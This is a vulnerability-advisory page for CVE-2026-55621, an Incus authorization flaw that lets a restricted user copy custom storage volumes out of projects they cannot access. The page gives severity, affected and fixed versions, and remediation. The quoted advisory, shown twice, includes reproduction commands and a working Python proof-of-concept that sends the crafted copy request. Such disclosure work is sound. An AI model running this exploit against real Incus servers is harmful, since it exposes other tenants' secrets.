Vulnerabilities in pkg:golang/github.com/lxc/incus

PACKAGE
Advisory Identifier: GHSA-64f3-v33m-w89f
Advisory Summary

CVE-2026-55621 is a HIGH (CVSS 7.7) incus has a project restriction vulnerability (CWE-284: Improper Access Control) affecting Github.com/lxc/incus/v7 libraries in the Go ecosystem. The issue involves incus has a project restriction bypass for custom volume copy across projects. Remediation is available by upgrading affected packages to version 7.2.0.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/lxc/incus

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/lxc/incus. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-64f3-v33m-w89f CVE-2026-55621 HIGH Incus has a project restriction bypass for custom volume copy across projects
GHSA-83xr-5xxr-mh92 CVE-2026-33897 CRITICAL Incus vulnerable to arbitrary file read and write through pongo templates
GHSA-vg76-xmhg-j5x3 CVE-2026-33743 MODERATE Incus vulnerable to denial of source through crafted bucket backup file

CVE-2026-55621 at a Glance

CVE Identifier CVE-2026-55621
GHSA Identifier GHSA-64f3-v33m-w89f
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-284: Improper Access Control
Affected Product Github.com/lxc/incus/v7
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55621

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7 fixed: 7.2.0
Upgrade github.com/lxc/incus/v7 to 7.2.0
github.com/lxc/incus/v6 fixed: Latest secure release
Upgrade github.com/lxc/incus/v6 to Latest secure release
github.com/lxc/incus fixed: Latest secure release
Upgrade github.com/lxc/incus to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55621, inspect your project dependencies for Github.com/lxc/incus/v7:

inspect dependencies for github.com/lxc/incus/v7

Analyze the terminal output to locate any version of Github.com/lxc/incus/v7 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Github.com/lxc/incus/v7, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. ### Details The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed. The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. ### PoC #### Setup Assume the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus --project secrets storage volume ls remote:default ``` #### Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ``` Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance. ``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

CVE-2026-55621 Affected Github.com/lxc/incus/v7 Versions

3 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7
Go
< 7.2.0
7.2.0
github.com/lxc/incus/v6
Go
≤ 6.23.0
github.com/lxc/incus
Go
≤ 0.7.0

References

Frequently Asked Questions

What is CVE-2026-55621?
CVE-2026-55621 is a security vulnerability in Github.com/lxc/incus/v7 involving Incus has a project restriction bypass for custom volume copy across projects under CWE-284: Improper Access Control.
Which Github.com/lxc/incus/v7 versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: github.com/lxc/incus/v7, github.com/lxc/incus/v6, github.com/lxc/incus.
What version fixes CVE-2026-55621?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7 affected?
Yes, github.com/lxc/incus/v7 is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
Is github.com/lxc/incus/v6 affected?
Yes, github.com/lxc/incus/v6 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-55621?
CVE-2026-55621 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55621?
CVE-2026-55621 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-55621?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-64f3-v33m-w89f",
  "modified" : "2026-08-28T18:52:05Z",
  "published" : "2026-08-28T18:52:05Z",
  "aliases" : [ "CVE-2026-55621" ],
  "summary" : "Incus has a project restriction bypass for custom volume copy across projects",
  "details" : "### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n        raise\n\n\ndef main() -> int:\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--url\", required=True)\n    ap.add_argument(\"--cert\", required=True)\n    ap.add_argument(\"--key\", required=True)\n    ap.add_argument(\"--pool\", required=True)\n    ap.add_argument(\"--target-project\", required=True)\n    ap.add_argument(\"--source-project\", required=True)\n    ap.add_argument(\"--source-volume\", required=True)\n    ap.add_argument(\"--source-pool\")\n    ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n    ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n    ap.add_argument(\"--volume-only\", action=\"store_true\")\n    ap.add_argument(\"--insecure\", action=\"store_true\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\")\n    args = ap.parse_args()\n\n    source = {\n        \"type\": \"copy\",\n        \"name\": args.source_volume,\n        \"project\": args.source_project,\n        \"volume_only\": args.volume_only,\n    }\n    if args.source_pool:\n        source[\"pool\"] = args.source_pool\n\n    body = {\n        \"name\": args.name,\n        \"type\": \"custom\",\n        \"content_type\": args.content_type,\n        \"source\": source,\n    }\n    path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n        urllib.parse.quote(args.pool, safe=\"\"),\n        urllib.parse.urlencode({\"project\": args.target_project}),\n    )\n    print(json.dumps(body, indent=2))\n    if args.dry_run:\n        return 0\n    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "6.23.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55621"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/releases/tag/v7.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:52:05Z",
    "nvd_published_at" : "2026-08-21T15:16:41Z"
  }
}